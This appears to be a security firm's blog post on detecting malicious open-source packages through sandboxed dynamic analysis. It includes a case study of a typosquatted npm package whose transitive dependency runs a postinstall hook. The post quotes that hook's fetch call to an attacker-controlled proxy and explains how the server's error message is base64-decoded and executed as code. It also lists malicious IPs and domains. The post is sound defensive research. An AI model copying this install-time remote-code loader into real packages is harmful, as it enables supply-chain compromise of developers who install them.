In our previous blog, we discussed building a large scale Dynamic Analysis System for malicious open source package identification. Dynamic analysis help in observing actual runtime behaviors and activities for a package, installed in a sandbox environment. It complements our Static Analysis system and helps:
- To verify and correlate static analysis findings with actual runtime behavior
- To overcome the limitations of static analysis which may have false positives and negatives
- To observe how packages actually behave when executed in a controlled environment
- To identify malicious packages that might evade static code analysis
- To reduce the need for human intervention (manual analysis) over time
The goal of this blog is to share our learnings and approach for identifying malicious packages based on dynamic analysis signals. This is a step towards having a sound and reliable baseline for package installation analysis so that it can be used to identify outliers and anomalies.
Approach
We tracked nearly 28 Million events generated from our Dynamic Analysis System, analyzing more than 380,000 packages since we started operating this infrastructure. As events are generated, we needed a way to find abnormal activities and potential malicious packages that can be subjected to manual review. This can only be found using heuristics and patterns, not manual review of all events generated by all packages.
As a first step, we decided to aggregate following information from the events:
- Network Connection, IP Aggregator
- Binary execution on install
The rationale for these metrics are:
- Irrespective of specific TTP, some payload will eventually be executed by a malicious package
- The payload will either make a network call or execute a command (eg. curl) in an unusual way
This hypothesis can be substantiated by our past observations where we observed multiple malicious packages eventually downloads a 2nd-stage payload from a remote C2 server or uploads data to a remote server (exfiltration).
Network Connection
Any package installation process always triggers network connections, especially to the source registries such as npm, pypi, rubygems etc. We cannot only detect network connections, we have to identify outliers in the distribution of these connections. To identify outliers, we log every IP address for these connections and analyze the distribution of these IP addresses. The following chart shows the distribution of IP addresses for network connections:
Looking at the data, we can spot some interesting patterns. A few IP addresses are infrequent in the distribution. From a security perspective, these rare connections raise red flags since legitimate package installations typically connect to well known, frequently accessed endpoints. The chart below highlights some of these suspicious one-off connections that may be suitable candidates for further investigation:
For example, looking up IP 167.99.69.236 on VirusTotal shows it has been classified as malicious by multiple security vendors.
Next, we performed reverse DNS lookups to identify the hostnames of these IP addresses. Below are some of the IP addresses that were resolved to a hostname.
Looking at the hostnames, domains like oast.online, oast.site, oast.live, and mail.sms-system-alert.com are known malicious domains. In particular, OAST (Out-of-band Application Security Testing) domains are commonly used for malicious purposes like data exfiltration and command & control. We have seen this in our previous post Burp Collaborator used in Malicious npm Packages.

Abnormal Binary Execution
Packages introducing pre-compiled binaries during installation is a common observation. For example, top binaries shipped with npm and pypi packages or expected to be present in the system are esbuild, workerd, rustc, cmake, ninja, zig and more. They are executed for legitimate purposes, but can be used to harm the system as soon as the package is installed. The following chart shows the distribution of these binaries:
Looking at the distribution, we can spot suspicious binaries like bsc.exe, purs.bin, and test_program that appear infrequently. These unknown executables pose potential security risks, as they can execute malicious code immediately upon package installation, potentially compromising the system before any security controls can detect and prevent the threat.
Case Study: Npm Package eslint-config-airbnb-compat
While the system is at an early research stage, we present a case study of a real malicious package that was identified using the approach described above. This package is eslint-config-airbnb-compat and was not detected as malicious by our static analysis system. Following are the high level chain of events that led to the identification of this package:
- Suspicious IP address 45.11.59.250 was detected in the network connection logs.
- Events were correlated with the package eslint-config-airbnb-compat for which our static analysis report was blind
- Manual analysis did not conclusively identify root cause of this network activity
- Dependency graph analysis identified ts-runtime-compat-check as a transitive dependency with stage-2 loader code
- Manual analysis tied the two packages together and confirmed the malicious intent
Initial Detection
For this analysis, the trigger was a low key IP address 45.11.59.250 that appeared in the network connection logs. The reverse DNS lookup revealed the hostname mail.sms-system-alert.com that was flagged as malicious by VirusTotal. This gave us enough confidence to investigate the package further.
We backtrack the package which is associated with this event, making connection to this 45.11.59.250 IP (who’s host was mail.sms-system-alert.com), and found eslint-config-airbnb-compat. This package appears to impersonate legitimate eslint-config-airbnb possibly with the goal of starjacking and spoofing its origin to automated security tools.
We found, eslint-config-airbnb-compat contains a post install script declared in package.json to execute setup.js. This is not totally unusual for a large number of npm packages, although it does raise security concerns.
"postinstall": "node ./setup",However, manual analysis revealed multiple unusual behavior. Likely to avoid identification, the setup.js does not have any malicious code. It simply does the following:
- Copy the embedded .env.example to .env
- The .env file contains the following
Note: The host proxy.eslint-proxy.site resolves to our target IP address 45.11.59.250
- Execute npm install if node_modules directory is not present
At this point, we were fairly confident that this package is malicious. However, we needed to identify the root cause of this malicious behavior. We started by analyzing the dependency graph of this package and found ts-runtime-compat-check as a transitive dependency with stage-2 loader code. The package ts-runtime-compat-check in turn has a post install script:
"postinstall": "node lib/install.js"The lib/install.js in ts-runtime-compat-check contains interesting code:
const appPath = process.env.APP_PATH || 'http://localhost'; const proxy = process.env.APP_PROXY || 'http://localhost'; const response = await fetch( `${proxy}/api/v1/hb89/data?appPath=${appPath}` );When introduced through eslint-config-airbnb-compat, it will have proxy=https://proxy.eslint-proxy.site in the fetch(..) call above. The above fetch call is expected to fail to trigger errorHandler function with remote server provided error message.
... if (!response.ok) { const apiError = await response.json(); throw new Error(apiError.error); } await response.json(); } catch (err) { errorHandler(err.message); }The remote server at https://proxy.eslint-proxy.site can return a JSON message such as {"error": "<JS Payload>"} which in turn will be passed to errorHandler as an Error object.
The error handler in turn does the following:
- Decode the message as base64 string
- Constructs a function from the decoded string
- Finally executes the remote code
This pretty much confirm the malicious behavior of the entire attack chain. It implements a multi-stage remote code execution attack using a transitive dependency to hide the malicious code.
Conclusion
Dynamic analysis provides a complementary approach for detecting malicious open source packages that might evade static analysis. By monitoring network connections and binary executions during package installation, we can identify suspicious behaviors that indicate potential threats. The multi-stage attack discovered in the eslint-config-airbnb-compat package demonstrates how sophisticated these attacks can be, using transitive dependencies and obfuscation techniques to hide malicious code.
As attackers continue to develop increasingly complex methods to compromise the open source software supply chains, combining static and dynamic analysis approaches is essential for effective detection. By focusing on abnormal signals and patterns during runtime, we can better protect our software supply chains against evolving threats and maintain the integrity of the open source ecosystems.